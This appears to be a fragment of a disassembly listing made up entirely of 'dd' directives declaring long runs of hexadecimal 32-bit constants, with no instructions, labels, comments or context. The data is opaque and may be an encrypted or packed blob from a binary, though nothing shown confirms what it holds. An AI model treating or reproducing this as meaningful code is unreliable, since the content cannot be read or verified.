		dd 364F8200h, 75317092h, 0FE6C9516h, 1E47FDECh,	80002C22h
		dd 2EBF8AF3h, 9578EEEAh, 85847A5Bh, 132421F5h, 0C28B7765h
		dd 14D534E1h, 0A15920B9h, 0B4420B94h, 0FFB571Ch, 1C05DDC9h
		dd 0F07EAF0Bh, 48D5FC07h, 2F8E5BBDh, 7B751BC9h,	4075BE6Ah
		dd 0CA25B915h, 2703BD10h, 0C6856454h, 919456E5h, 5D6D5FFh
		dd 0BC3EBE11h, 3239120Bh, 166207B6h, 2B001F09h,	12BFBBD2h
		dd 0E63CA3C7h, 7F6BD21Fh, 8DE3DE17h, 0CD8C024Dh, 5DDA9057h
		dd 60599D01h, 4583ED49h, 0C753AF17h, 0E80BF287h, 0B71AA12Fh
		dd 0D0C0D115h, 560A2E4h, 757AAA2Bh, 441EC181h, 2A70C986h
		dd 17B2FFA6h, 31227130h, 69B6A11Ch, 0F6CB2A0Bh,	8C34AED2h
		dd 0ACDF34FBh, 5EA6A211h, 352EF66Bh, 4E008363h,	1738DEF4h
		dd 48909743h, 1B005AE4h, 1A9DA4E2h, 12501CE3h, 56EAAD8Fh
		dd 803F9E3Bh, 50D51412h, 10F8032Eh, 23CE4960h, 2980E870h
		dd 1B4525BDh, 0ED6BD759h, 6CF74B59h, 0F9030AE2h, 8B3E1FFh
		dd 31120785h, 7116AA09h, 49EC392h, 136FEE84h, 0A5CAF30Fh
		dd 3A7CE3ABh, 0F50DE127h, 858F282Eh, 9574508Ah,	3F278C94h
		dd 0D04D5304h, 2792DA19h, 91200541h, 4BB99AADh,	806ADB60h
		dd 57FA8F07h, 84764B3Dh, 0B977FDAFh, 99E62DCh, 8CA4B327h
		dd 6DBFAA70h, 0D997C0DDh, 67094033h, 72AD6BDAh,	11320BFh
		dd 237D8180h, 61D80381h, 0A3399709h, 0F5A73052h, 5F4B659Ah
		dd 0E347FAEh, 0A9D749EBh, 4DC453h, 89BB8DD5h, 7F7CF378h
		dd 0A2C9F00h, 0F8DFFC92h, 0D989952Bh, 0F2ADD95Dh, 0ABC2B556h
		dd 33427DFCh, 0EF4A3DEh, 0AF32A042h, 1DD96ABh, 0C13468FCh
		dd 4A8A4160h, 0CBD1B0DDh, 0CB2DC23Ch, 0D0E0E0B6h, 0EB4BC1B9h
		dd 572F6AAEh, 0E20C02B7h, 87C4705Fh, 55F9E1F5h,	0E9FC10B8h
		dd 0C9021927h, 0AE21DEB2h, 0F968CC7Fh, 55D61297h, 47817237h
		dd 0E8FA6679h, 0F35289A7h, 3D9518E0h, 5ACC80FFh, 59251B33h
		dd 9E4ABF04h, 0B4B845D1h, 0A5C8B0D2h, 6BDE0541h, 57C88574h
		dd 613040B1h, 6FA92AE3h, 0A886BD92h, 0ED895BF4h, 5D1BC3Ah
		dd 859531BEh, 0F460EE0Eh, 492EE3h, 982B1E5Ch, 24BB1240h
		dd 3D3EA507h, 30997F97h, 25BD89D8h, 0E8C41BFDh,	9FE67A9Fh
		dd 52F66710h, 77442900h, 56BCD408h, 83CB09ADh, 879B5h
		dd 0DA642514h, 8F814D00h, 0F77CAB54h, 83D197A1h, 0C07BCD2Dh
		dd 36E4548Ah, 5C05C92Dh, 0AF341C9Eh, 95C3ED74h,	0F0D54E25h
		dd 0FB974CEDh, 3F6DD983h, 5D40CF0h, 684618Fh, 19428164h
		dd 0AE33A12h, 0CF448896h, 0E1D9D500h, 0DB3E9B78h, 39E8021Ch
		dd 50AF9AB8h, 9F4DE6D5h, 7B02D073h, 8764796Fh, 5010604Dh
		dd 1CEFBA58h, 0B9716155h, 8D3872DDh, 0C1BCA95Eh, 355BBB66h
		dd 0E89038AFh, 8202D6AAh, 0EFC83EB6h, 0B8AF60BEh, 0FCF6070Bh
		dd 0D9E39C43h, 6A82AE89h, 680C228Dh, 0AC8B5A90h, 351A6588h
		dd 630B29AFh, 0CCA0078h, 0FB044ED0h, 8489004Fh,	0C64472EEh
		dd 1313CB81h, 0CA163253h, 4100436Fh, 0C660E70Fh, 1627F486h
		dd 7AD8562Eh, 1408B557h, 4901A5D8h, 3B8546AEh, 0BD3A3010h
		dd 72225495h, 29BC9964h, 467B3B40h, 77EC1D88h, 0FDD58140h
		dd 2321E9A7h, 16852E4Dh, 0C235D5A5h, 447617D9h,	0ACA70A00h
		dd 15BF667Dh, 92ADFF4Eh, 0B0B1AEA4h, 0C231B10Fh, 0F6CF8027h
		dd 0FC9241F9h, 7A2F8EE5h, 71911748h, 0CF8A2AAAh, 0B8F72732h
		dd 66851310h, 0E74EB5BEh, 4021CD97h, 77EFD7BEh,	0A43D4D09h
		dd 25E9D996h, 0A1D0277Fh, 5E748F10h, 0C1C7026Ah, 92938169h
		dd 50A54975h, 0B98CFD2Bh, 0FE1403DCh, 38600059h, 0D3E78139h
		dd 414BF288h, 7317FAAh,	6C39F45Fh, 8ADF71E9h, 0C9C7CEB7h
		dd 0CBE0A218h, 0B185F400h, 0E23BFFA1h, 5A491E84h, 0DEC2A58Eh
		dd 0F469F65Dh, 20422549h, 0E3811F15h, 0D9B4968h, 46D6885Ch
		dd 4F100019h, 463C25D4h, 0FA64BD0Bh, 9C972C4h, 4D4AF740h
		dd 0C69C2CACh, 7DC78269h, 25097A2Fh, 6B731769h,	6B58CC2Bh
		dd 56E525F4h, 0EF801BE0h, 34AAFA4Ah, 0F5F2BA90h, 0A7B88616h
		dd 7605B0B6h, 0AA153F70h, 0DD8AEA0Ch, 0F3258048h, 0D05E5458h
		dd 15F919Dh, 27BD2CE9h,	80FD00E9h, 0F8FC05A8h, 3AD413DEh
		dd 80F4B896h, 0D342DD3h, 6AD0573h, 0B05BC7B3h, 0E2B840Ch
		dd 26583A96h, 0B664015Eh, 0D0B2E598h, 0F5272AB4h, 0C6E3A450h
		dd 0EAF96257h, 145D3069h, 0E9FD800Dh, 0BF159728h, 41C449C0h
		dd 0B8552E3Fh, 0F527890Ch, 4544BD71h, 0AC2C857h, 16D42A00h
		dd 729561CEh, 9D729599h, 0D7963625h, 0DC2A4818h, 50651807h
		dd 0CDF9F98Ah, 1A38C3AEh, 8C726513h, 0B912FAA7h, 599F3710h
		dd 81E03E5Ch, 294125D3h, 2E1E0BFEh, 0A3844088h,	5D95BF49h
		dd 769B290h, 2DA00300h,	0BD292AB3h, 0FF45B5D9h,	0DB50105h
		dd 258056B0h, 43C59ADFh, 86FC5B17h, 0F35607C9h,	29B5555Ah
		dd 5FA33200h, 988EC8Bh,	0C6B68142h, 5CAD49BDh, 0CD25B89Ch
		dd 419F2150h, 2D2EF5B0h, 0BDB5041Bh, 0A5E91283h, 6E6F18E1h
		dd 0EFDD0064h, 2FC9D0BDh, 5F543D23h, 0F8513AF2h, 0E801A9CAh
		dd 7300429h, 0BB563910h, 5B25CBE2h, 7F642C6h, 4EC137C1h
		dd 23C4A7EBh, 0F881A04Ch, 2144B590h, 52DE8A25h,	83B7BF3Fh
		dd 8B606889h, 2A5D7E5h,	0B1DEAA61h, 0ACCCA9Eh, 5C678060h
		dd 0FE906DDCh, 0F5E4A861h, 1E391830h, 81BE3CBCh, 5EA90512h
		dd 601374B8h, 0B6E38A0Fh, 6D9AD71Eh, 5D97ACC4h,	0F0307890h
		dd 0DB26B109h, 38DEF424h, 61265B40h, 1A603E90h,	48795A4h
		dd 8291402Dh, 0BA30AED7h, 0EBBAC65h, 34B9BD4Eh,	0B736DD40h
		dd 90125F66h, 0E304FC60h, 0BDBE2349h, 1D97F877h, 46368ECDh
		dd 7A19FFCFh, 73F9EFA1h, 0FC8A1239h, 845F55E3h,	0AADF9417h
		dd 1B23FA6Bh, 652D2A07h, 7ABB08F0h, 37B70D3Ch, 0CD86D1FFh
		dd 46382E22h, 0B509888Bh, 0DF4B1D5Fh, 80693702h, 3164EF0Eh
		dd 0C8007901h, 0BB9034C0h, 26D64985h, 117E502Eh, 0CC204F1Ah
		dd 6F5F67h, 56C83F7Eh, 0D1AF3001h, 8B6B7805h, 0B48066A8h
		dd 165B7420h, 2AFA8A90h, 4E80DEF7h, 454D8FF0h, 93C62517h
		dd 9B4002D6h, 2669F911h, 2F128129h, 0FF592AFEh,	4BFA624h
		dd 23BEE216h, 0ABE68560h, 18BA3621h, 6157CA40h,	0E55497F9h
		dd 87D0B5E9h, 11E86579h, 40AD9215h, 805A128Bh, 4D57DB26h
		dd 0AD4425h, 722CE70Bh,	4FAD12EAh, 0D77C8B05h, 0ACF690EDh
		dd 4F8498E0h, 0C1E3F84Ah, 21B58913h, 2EDE8B5Ch,	3BDB8A65h
		dd 0B8EB4981h, 2F0D304Ch, 13EA5D12h, 0DB0264F2h, 877E075Eh
		dd 12022441h, 6B4EF557h, 95F046B5h, 0BDF7C0A9h,	1E0D02E5h
		dd 1BF7076Ah, 60FFC1C1h, 0F8CBB84Ch, 75AD00B0h,	40C57A9Ah
		dd 104851B9h, 2F8D16F1h, 5A313088h, 0E829BD23h,	4E2C02E3h
		dd 98460BE8h, 6CC4F95Ch, 2479FE58h, 0F06FB081h,	320015FEh
		dd 70E66F14h, 12805160h, 0FC5E44C4h, 28AE97A1h,	0A7742155h
		dd 9409D7ECh, 78615AF8h, 48B2215h, 833141A0h, 2B08A697h
		dd 0D1E9BF83h, 0F9BE1405h
		dd 61562F94h, 5B021B40h, 0FC4B98DDh, 0C4FA074Ah, 2088FFB8h
		dd 3F127CD8h, 28F3C48h,	0C7E6A2Fh, 6B7457A4h, 299D8D61h
		dd 63119D6Bh, 80F438E4h, 9D6859FCh, 3F88F876h, 0C08350FEh
		dd 87548BE7h, 8674C19Ah, 0EC370A98h, 0E57F00E2h, 646B534Fh
		dd 0FD9539EDh, 0B8556A92h, 8015F15Eh, 67B1C82Bh, 0E041268Fh
		dd 3846ABB6h, 5D58092Fh, 3758AF4Eh, 3A5FDC89h, 1A22ECB2h
		dd 4E608744h, 7495AE09h, 0F0C7BF82h, 0E840B521h, 69EC8949h
		dd 942CAB6h, 55710928h,	0E5BB6687h, 45517A19h, 12604227h
		dd 707C62Ch, 4977BBE3h,	0A794C0FBh, 404C7C46h, 2B510070h
		dd 61C38B66h, 0F959B5E9h, 0D5161989h, 575CF9BAh, 0E6522244h
		dd 27513F4Fh, 9F32E682h, 439519E1h, 6E25536Ch, 857773FEh
		dd 0BA17B223h, 13C2B79Bh, 4057A6F2h, 0ECE78121h, 512E2EAFh
		dd 4B12F6BAh, 4FF30329h, 0B9284748h, 0E63AE1B5h, 0DA3CF012h
		dd 0D9F10E32h, 0E8D68485h, 4BAED088h, 7286EAAh,	0EE5ED03Ch
		dd 95842ED1h, 4811568h,	0F8903DE1h, 0EB006C86h,	0FBC7F4BDh
		dd 4AC6320h, 9D03A719h,	5FC0F011h, 4ECFC4Ah, 404FB2D2h
		dd 6D03AEABh, 950920FFh, 90BD84C9h, 10813262h, 0A4856D75h
		dd 1D8508B2h, 0A45B228h, 4618DF6Ch, 4E520840h, 0EEDE0BBCh
		dd 47770019h, 9367AF16h, 569733F8h, 4FC6521Ch, 0C188907h
		dd 95E015BEh, 2BDF4C3h,	0F2D964D7h, 0EA7D70C4h,	0EC9734Bh
		dd 0ABD34585h, 1C236A6Fh, 63977100h, 280E95D5h,	4838D98h
		dd 387CC781h, 0AD70BCF5h, 98EF308Eh, 0E117E692h, 0E0D4FCA0h
		dd 0BDC02507h, 66178BE5h, 0E2EC16B9h, 35FA2507h, 0BF57E818h
		dd 0D3D72F1h, 495C5D30h, 0A94E3082h, 5979E937h,	8030D685h
		dd 0E0EEDF8Ah, 0EC2D5495h, 414B2B76h, 4B254BCAh, 40ACEF5Fh
		dd 0D44A1EEDh, 0BFE1760Bh, 1D9F0243h, 56C6E5h, 12B8010Eh
		dd 29E37D03h, 45DE4B00h, 8F65667Ah, 20635F68h, 1106AB20h
		dd 6DF13E0Eh, 0C9038293h, 51715E28h, 20FB140Ch,	56C3EFE4h
		dd 0E09D9A04h, 7BBCD02Fh, 0B9A5BCA3h, 0B1488092h, 1F2D5EEh
		dd 4DF79888h, 0CCD876BDh, 0CAC46053h, 48BC19F3h, 2F56E5Ah
		dd 63F092B6h, 475657FCh, 0F8205A58h, 362409B6h,	48755309h
		dd 8C2B81E2h, 24B7385Ah, 86A49B0h, 6E715125h, 1DED2D14h
		dd 0D45A365Ch, 0D907D436h, 0D4D0127Fh, 422830F2h, 396DD51Eh
		dd 0F11BB869h, 0BF73996h, 598EE60Ah, 19810BCBh,	0E0809671h
		dd 5A9FBD6Ch, 97571004h, 1A224E39h, 88DC55EFh, 0E2EB5047h
		dd 0D44C011h, 0B34FA032h, 8168007Ch, 0BFA5828Eh, 0C1252C6Ch
		dd 9635879h, 5A9C757Eh,	53C0CE6Dh, 0E85F0Ah, 21866D22h
		dd 8935BB74h, 4DB5D070h, 60186485h, 2F43B888h, 95564FF8h
		dd 0B0EADE2h, 59859A75h, 0F9A6000Bh, 565F9860h,	140A8F6h
		dd 79851231h, 0C137BD23h, 25FD8D29h, 7D412D2Fh,	6EA81Ch
		dd 5ADD3561h, 37422E3Ah, 31AAE14Ah, 3ADABFC9h, 0E9D73AB2h
		dd 201A870h, 0F08D241h,	8B100383h, 977395F8h, 0F9181759h
		dd 47B7A112h, 339A81EAh, 1024E9BDh, 4BD1B660h, 0EAF98461h
		dd 15E2EDA6h, 96D8F7B0h, 1C309097h, 0A88D3CF0h,	3ECCD582h
		dd 0E8F79D23h, 3CBF5F23h, 30A4B8BCh, 9A108F7h, 97196801h
		dd 123A0FB1h, 0E6BEF05Dh, 13AE943Dh, 7EFB858Dh,	0D91A01D0h
		dd 75086E98h, 0F1E88242h, 1620D241h, 0F03AFCFFh, 0CCA95B00h
		dd 9DB51B2h, 0CC4000Eh,	582E818Ah, 0BE16665Ah, 47E95E07h
		dd 0E067E64Bh, 2F7BC83h, 3AD99C61h, 5957A42Bh, 85010254h
		dd 0FB5C207Dh, 65870FE2h, 40D59CEBh, 689F9BB7h,	61728B93h
		dd 2480D9BDh, 25A538EFh, 0B7C034D5h, 520588B5h,	2CAB5A82h
		dd 4E1406Dh, 0C253FCBAh, 20EB5BDh, 0BD774AE9h, 0FF0827Ah
		dd 3382078Bh, 0F5240189h, 75F147C2h, 97762A67h,	330BF360h
		dd 29BD0109h, 1E9C5530h, 372C6245h, 0BD7C7980h,	0E3019DEFh
		dd 7B858609h, 6FE8FCB8h, 5239EEACh, 3EC4CFF3h, 0F8DEEA04h
		dd 23956880h, 0A9977D3Ah, 244FD50Fh, 74FEAE44h,	809DBC3Ch
		dd 0F8B1CAF7h, 0E43303BDh, 9489BFE7h, 981927F8h, 0F0A7AE1Ch
		dd 4BF38FD2h, 84ADF95Eh, 0B3527185h, 9D291373h,	0AD3952FAh
		dd 2C25C4C9h, 4009E844h, 8684E1ADh, 1E7709AAh, 5562E36Ch
		dd 0DF0C4057h, 60C1BF96h, 0C38B6B30h, 0AA172912h, 6A5F4B8Ah
		dd 0C0A84A24h, 46C780C2h, 7DD6B92h, 75A9D612h, 1D452F4Dh
		dd 40923522h, 70ED3E3Eh, 0F477137Bh, 4152C491h,	2D8D89B3h
		dd 37AB2B01h, 0FA150012h, 0C9006785h, 92FC9744h, 2FBD70EEh
		dd 0BFFC897Bh, 4E867E4Ch, 23E7C4h, 813C2E0Ch, 8864E8h
		dd 23EB6A2Ah, 9D09B130h, 8A84AD4Ah, 23B46BEAh, 0E19E1214h
		dd 0D96E7FE8h, 1F6E7907h, 648540F4h, 0C5047757h, 29A19D33h
		dd 4AB959E4h, 903FAA23h, 0C168162Ch, 60680FFCh,	0D4E1DA1h
		dd 807C60ABh, 0ABA21CDFh, 9701D05Fh, 907C1E09h,	0B00D73F6h
		dd 6E8400D7h, 0BB9030BCh, 0AE76FCCEh, 16B46A70h, 0C60902DCh
		dd 0F2D1492Dh, 441615D7h, 39C2FF2Ah, 5A575E16h,	8F60626Dh
		dd 971EC012h, 5DA512D9h, 0F5807F65h, 58967836h,	0F11A4B2Ah
		dd 0A0FD3775h, 3BD1725Dh, 0AA166345h, 4E36B8A2h, 41F892E9h
		dd 0CE5C9902h, 0F8523B8Fh, 260520A1h, 4D205090h, 0EED0B70Fh
		dd 0E66F4B25h, 6DEFA074h, 3A73BD29h, 48CF81C1h,	9778B2FCh
		dd 0A1E7DB82h, 61BB85A7h, 4A0B7A95h, 0DFAEB2F3h, 0DD5E7C4Ch
		dd 4B5C9FA0h, 603FCCB5h, 5A1EEEF6h, 0FD65B7B3h,	0D440B788h
		dd 250B1646h, 9D62DE66h, 0BFA0EE5Fh, 0CB3B3C35h, 6C275CCAh
		dd 0F8D850D3h, 9A5D97ACh, 0A1F168h, 1463486Bh, 0AA021FA4h
		dd 6DBAD566h, 0D68B5E4Eh, 110A1646h, 3ECD3290h,	0BB750C4h
		dd 5C90D5F5h, 68D0619h,	83F98D29h, 0F2FFE917h, 3287AAEh
		dd 4945BF94h, 0C18BF916h, 38E46A20h, 2A898DF8h,	0E3FE1840h
		dd 6D3B01DEh, 8BF5EF05h, 317561C6h, 0CED87F37h,	0E437006Fh
		dd 0DC3315EBh, 0D23A8C1Ah, 2AC480A5h, 0E5087E4Eh, 80F9BD22h
		dd 0CC6193A6h, 1DFC78A2h, 9DE00E7h, 0C4B1FE4Bh,	5A71CE69h
		dd 73D29DA2h, 5A602438h, 67BC1BADh, 0FE125D97h,	15E1FCE6h
		dd 522D950Fh, 21E876FDh, 0D566B7h, 2F28BCC6h, 0A07C26C8h
		dd 5C64AC13h, 4E4FE88h,	63AE3C4Dh, 89AC81A2h, 6DC1E1Dh
		dd 3E87DA80h, 8B601DBCh, 0F4EBC0h, 0D976C24Ch, 0E6F5CD66h
		dd 3B92E400h, 0D15065EAh, 0D7ED0035h, 87789C58h, 2A011290h
		dd 45179273h, 6631465Bh, 799C3630h, 5E7B0043h, 442B9EDAh
		dd 0BE3CFE3Ch, 57D780CAh, 54C10662h, 3DA30089h,	0C7F6A291h
		dd 8000E51Dh, 997322FBh, 5A2AAFh, 2CF2A09Ah, 4FEE0349h
		dd 1C0EA139h, 0F78E4BEAh, 408AA0FCh, 1FB6D0h, 761677E4h
		dd 24D4AE79h, 0B0B8FCF1h, 0FE58BE00h, 0AB6A9F9Eh, 80A303B7h
		dd 1F2E20D0h, 73CC42F8h, 0A854C300h, 0DB5C4C06h, 0A0C50393h
		dd 3ADA3627h, 0EE9500AFh, 0D760561Fh, 29199F10h, 0BFE1079Ah
		dd 48888278h, 0EA18AB00h, 0C0B02F3h, 30A9E0Dh, 21C09008h
		dd 0B2EA10CAh, 0F3CE0795h, 0EE9CB11Dh, 2D3B3100h, 140C0E61h
		dd 318DAD19h, 0EDD0E78Bh, 11C26063h, 0D05D72DFh, 0BE754803h
		dd 306D408Fh, 221DC08h,	5E2E5D7Ah, 74006F04h, 0D467C738h
		dd 59260634h, 283DA84Bh, 742BF58h, 967F4C75h, 6A6FD2B0h
		dd 481F00F3h, 25983DD1h, 12062023h, 0E7BA4FD6h,	79F0C8F8h
		dd 0F2EA17C0h, 22034602h
		dd 0FCB0097h, 99256FEAh, 0AB008DF5h, 74083A2Ah,	50B7A054h
		dd 2857B498h, 0A30F08Ah, 0CC222FD6h, 0C27F80BCh, 83F1D08Eh
		dd 35E2A300h, 72B442E8h, 3DDA00BFh, 0F2FCD39Dh,	127EC1F6h
		dd 807C6000h, 27041965h, 0D8F07D5h, 0B21B5B8Ah,	54E0B232h
		dd 6000F415h, 0CEA3DD48h, 0B3F0C9h, 3A5DECA9h, 1826AA5Eh
		dd 7500B574h, 0B2CB9420h, 0CD63B81h, 0EE332499h, 21C0A708h
		dd 1FB2F371h, 0FD40007h, 412CA0D7h, 680062ACh, 0BC5BBEBAh
		dd 703B2EEAh, 0A54D0039h, 4104F5A0h, 0F9009F1Eh, 355D492Fh
		dd 44BAB2h, 0E025B420h,	77BFA587h, 8385F180h, 0ABB47103h
		dd 4955708h, 69074520h,	0E81E1F6Ah, 0BD18A798h,	0C451442Fh
		dd 1F217506h, 107005h, 0C01DB527h, 5EF46207h, 8C12B400h
		dd 11F95143h, 0EAF812ABh, 154B00B5h, 4531DCDBh,	8C355700h
		dd 808139F1h, 6D951FB3h, 0E299C09Ch, 0EC3F2944h, 40CE7200h
		dd 41F5BE4Fh, 426601FCh, 0DF095B85h, 0CF38D447h, 0CCE1120Fh
		dd 0CD53C0A4h, 6D9D7Fh,	18BC99B4h, 0DD476710h, 8063963Fh
		dd 0E266EFADh, 98BF9CE1h, 32F90067h, 917FED44h,	8C00DCE0h
		dd 0D7A5B0D4h, 789B47Bh, 0D9027D24h, 4906D001h,	72007842h
		dd 91EBDEBBh, 11E949Fh,	0BCF4EEF5h, 0F0B6D452h,	9AE83BEAh
		dd 0D100F27Eh, 0C2B5595Dh, 66BDF6BEh, 212208CAh, 5DD9FD00h
		dd 0CE51705Ch, 0F75F0119h, 15B316BDh, 8C2BC83Bh, 0BEB2250Fh
		dd 81772045h, 7B0EDh, 90FB638h,	2E1B75BBh, 669A28C0h, 38EDC625h
		dd 9D807E8Fh, 23B63EF6h, 8500C175h, 15B1F4ADh, 129A917h
		dd 0E3C7998Ch, 0C5BD1DDEh, 3E2081E2h, 0EB42B13Ah, 611204Fh
		dd 0A9209894h, 8F5580EAh, 0A53ED8C0h, 39E40D1h,	0B3925E68h
		dd 0E9E00476h, 20C09DAEh, 7B5DBAB6h, 6E2303D5h,	361B8A1Ah
		dd 21B30832h, 88F661DFh, 64C87C8h, 0B254A0ECh, 0ED46485Eh
		dd 0D17B5902h, 0B2314E23h, 7B41DB10h, 37176B03h, 0F2A958CFh
		dd 2FC0A132h, 2985A00Ah, 40E5BD23h, 0A98A9684h,	88E90876h
		dd 8DAE0229h, 0F0080383h, 0EC00F492h, 0C88EBE88h, 562EDB3h
		dd 8C9F8602h, 99AC043Ch, 1E874398h, 0A739050Eh,	40A2A108h
		dd 0E6E91AB0h, 0BC78307Bh, 0F09AEF12h, 0C0EC2408h, 0B5585DD0h
		dd 2722DA46h, 5DD8FC01h, 8849CCEDh, 48B5B1ECh, 50014AEh
		dd 9CCE0E1Fh, 0CDF889A0h, 0B718CF60h, 30818F6Ah, 7010BD91h
		dd 0C0F00660h, 8CB21F28h, 0B8024945h, 7B5330E7h, 7E23D711h
		dd 0E180B088h, 0C5077B5Bh, 9D8079Fh, 47709464h,	9510CCD2h
		dd 0CDB90312h, 3782145Dh, 879B2B71h, 9E91BDF0h,	98473CF0h
		dd 0EA8C802Ah, 0CDE92Dh, 0D3D25389h, 1ADDA1DBh,	5ED1DF1Fh
		dd 5C7C4D40h, 30570336h, 59500D8Dh, 69C08056h, 12F416C2h
		dd 7111008Bh, 8F52D9ADh, 9E50A5A1h, 0F0E1D080h,	0FA641206h
		dd 0D640E6A0h, 0E399A525h, 36DDE4A0h, 56F01202h, 0A81C1F87h
		dd 3508ACE8h, 1B2C07C4h, 458C4F7Ah, 0B08B8248h,	6814E992h
		dd 384108Bh, 74E2B77Bh,	0CC3DF1C0h, 0B585250Ch,	7BD86884h
		dd 0B1C90270h, 2862A60Dh, 0D9BD0460h, 3F05C492h, 3C77A946h
		dd 0B1B38C45h, 0F076DC21h, 5552EC00h, 92818560h, 17115E1h
		dd 683021EAh, 0E4560160h, 0FB011B7Ch, 2C6348D5h, 3AE0D1DDh
		dd 9CF502D8h, 0DF0D2FF0h, 0F40B7C45h, 72C1006Ch, 74DDCA39h
		dd 0A4260556h, 4150DCFCh, 53D72C80h, 0A3E443C4h, 3E68A903h
		dd 0F782DCh, 4BE01249h,	0EACA89F8h, 0FA719E19h,	21801908h
		dd 384BE834h, 592E0D06h, 57094EA4h, 0FE140169h,	0A0925236h
		dd 0EB543228h, 117B5F30h, 885E23D3h, 47DD80B7h,	0EF87A47Bh
		dd 0D27FC205h, 0E4806EF4h, 5021B18Fh, 0B001E8A6h, 28394853h
		dd 88C67205h, 0DBEC0882h, 0E01CF8A0h, 923DAA45h, 24099679h
		dd 0C8C888C6h, 71D80D0Ch, 0BE0318F0h, 5987398Bh, 0A1E5C10Ah
		dd 6CA4D8BAh, 3AB44674h, 8CB5836Ch, 0A862DDA6h,	0B0104B05h
		dd 9D230908h, 1800EB01h, 0F19BB680h, 9A20C005h,	44005644h
		dd 0E0B7F896h, 160E0601h, 8DE093Ah, 0CC219562h,	5C5440F0h
		dd 9CE33076h, 0C8827252h, 0ED209898h, 0F854ACEEh, 152D438Dh
		dd 0E80A83h, 5B7ED6Ch, 12A37282h, 47E75F7h, 103D7710h
		dd 700A7CECh, 0B4FEBE3Ch, 0B8643691h, 0B7F46040h, 0EE0121E4h
		dd 0B7ECC8C0h, 200D3FCBh, 5083B13h, 2F824Ah, 1A5BF0D4h
		dd 0A9FA397Ah, 0A4F17524h, 0E77D1582h, 20A08CF4h, 4DB5837h
		dd 4889F010h, 0F38C76CCh, 4DB5E060h, 2688CC3Ah,	5DDCF880h
		dd 1EBC7FACh, 0F056C412h, 86F96CA1h, 0BE6F2C13h, 5CA1BB00h
		dd 3B60FA94h, 449EA237h, 36EFC178h, 20E32890h, 0AF323A34h
		dd 2C54B08Dh, 48CF190h,	0B5535DD7h, 202A6232h, 0E85DDFF7h
		dd 89985530h, 2E735782h, 389F28h, 8461E1D7h, 3A0F9EC1h
		dd 0D2BCA1EAh, 28C7C04h, 64C8650Ah, 0B7B06742h,	8CDE01E6h
		dd 0F69344h, 75DBB7EAh,	53C83CD6h, 56116E0Ch, 7DD42183h
		dd 542800CEh, 5F1B52C4h, 0A0900214h, 8020A045h,	0E5F840F5h
		dd 3310B49Ah, 292ABFB7h, 247464Ch, 1E3B7F5h, 119C31F6h
		dd 20BAEDCBh, 0E4E9470Ah, 27467EACh, 76310772h,	74A9F19Dh
		dd 0A120C2ABh, 0F7011CE4h, 0C441190Fh, 5D07A81h, 8AAD00E8h
		dd 0CF6FFF1Eh, 25188598h, 9A315214h, 218118F7h,	270348A4h
		dd 4434A926h, 7908E90Ch, 1B75120Dh, 525802F5h, 0B4673EF1h
		dd 0D86018C4h, 0CD0095D0h, 1C45F65h, 9A0F7D37h,	2355037Ch
		dd 4EB354EAh, 421AF6A9h, 0F33041B4h, 1E511B7h, 809D88E6h
		dd 24B7EBC9h, 0BD092731h, 87B2C89Ch, 4AC3051Ch,	17C00026h
		dd 0F7112CE9h, 8EFD85B9h, 0A069E3F8h, 0BCB8855h, 1D4E3A6Eh
		dd 0FC13A87h, 897DD1E4h, 27408335h, 0CED08Dh, 1D471358h
		dd 3EBB39E9h, 0E8DC5A48h, 0B8098C27h, 43CAFCDh,	7C408830h
		dd 8362A12Ch, 0BA315A7Ch, 0ECDC1926h, 41BCB0E1h, 8DF3D101h
		dd 0A9E90589h, 9DD198C8h, 0D9012418h, 6B911853h, 6044BAF0h
		dd 94A3F483h, 0E0D49906h, 0D302ED46h, 0D2B55F5Dh, 0FB102131h
		dd 48F45DDBh, 0FE008B75h, 0D9B0B1AAh, 0FA2F0192h, 8FFCA019h
		dd 0B99130A9h, 8E53F6C0h, 0EDAD71Fh, 12C7E0Fh, 8D368728h
		dd 3075BBDCh, 9A9004BFh, 0B0C3565h, 48127157h, 91CA00F2h
		dd 76B347EAh, 3A5DF752h, 9DB9089Ch, 370503CBh, 0A0C095D6h
		dd 0D3036BF3h, 98177F2h, 0B62002C6h, 0DBEE1B0Eh, 7523209Eh
		dd 7F540198h, 0D471495Bh, 39006101h, 0FA8D09E5h, 0C0EAA26Dh
		dd 0DDC825C9h, 5D092705h, 4A09EF4h, 0E560D9A0h,	8923F34Bh
		dd 1E11F2h, 934BED31h, 3367E8h,	0A108367Ch, 75B189E4h
		dd 98A0B56Ah, 19F4674h,	0C97582Ah, 19808455h, 57FA4556h
		dd 65E877BBh, 93F06400h, 0CBB3B681h, 0B25533B9h, 309E5270h
		dd 1FDDE4A0h, 41207683h, 35448CAh, 0E5DA7466h, 0D110B119h
		dd 25A1890h, 8C6F0B3Ch,	0E4C0E0ECh, 0E60E7143h,	52231D3Fh
		dd 70080C16h, 7B5CC0E8h, 665C23D4h, 44E0E0D0h, 3CE037Bh
		dd 0C9551668h, 0D06A31B8h, 2FB7D0A0h, 5492A978h, 8EA37E00h
		dd 0BC504277h, 59C70008h, 131E9720h, 0CB010304h, 0FF55D951h
		dd 76C93D18h, 0F94A70h,	13623036h, 0A1E18BD3h, 1CFDEE00h
		dd 6A58838Dh, 0F07C0042h, 14375728h, 9D00E1EAh,	0DB1C71B8h
		dd 3E296ABDh, 0B09F7C83h, 232EC0FBh, 0C0A34711h, 2F003CE2h
		dd 84A0B768h, 2CDCB4h, 176993F9h, 154989ADh, 0C35D4600h
		dd 0EA635053h
		dd 76D00012h, 403E5BDEh, 0F8009775h, 0B569A5D4h, 94FAABh
		dd 85CB4FA3h, 7019F915h, 6E555B24h, 98DB7300h, 0EDAFA37h
		dd 265FACC0h, 0C06154C4h, 2C93A091h, 5510E101h,	25433AB3h
		dd 48E015D1h, 7D6E82Ah,	650692A8h, 4CFD0027h, 94068488h
		dd 7AAD811h, 924E0318h,	0FC59145h, 0E04AF5E1h, 0C0783823h
		dd 46D0950Ch, 18B32808h, 612C9718h, 660036A0h, 0C5B52DAAh
		dd 1490A8EFh, 0E92778DBh, 0C607B358h, 3CFC1604h, 29322530h
		dd 10A02812h, 200979Ah,	75160D09h, 606782BCh, 0E56D782Ah
		dd 5B6891CCh, 7D631CD1h, 50191842h, 5B1BC075h, 0A0640FFEh
		dd 11216498h, 80A1E2B8h, 0A16C5130h, 11515C21h,	0C9C0610h
		dd 0C300747Bh, 1D3E9AA6h, 60AAE545h, 0D5B32013h, 0FC00A5A9h
		dd 0A6A86115h, 10E1168h, 90ED5EE0h, 874A7ECBh, 49F345B1h
		dd 0E3FB630Fh, 35F819Ch, 3172D2D0h, 7E511B78h, 19318115h
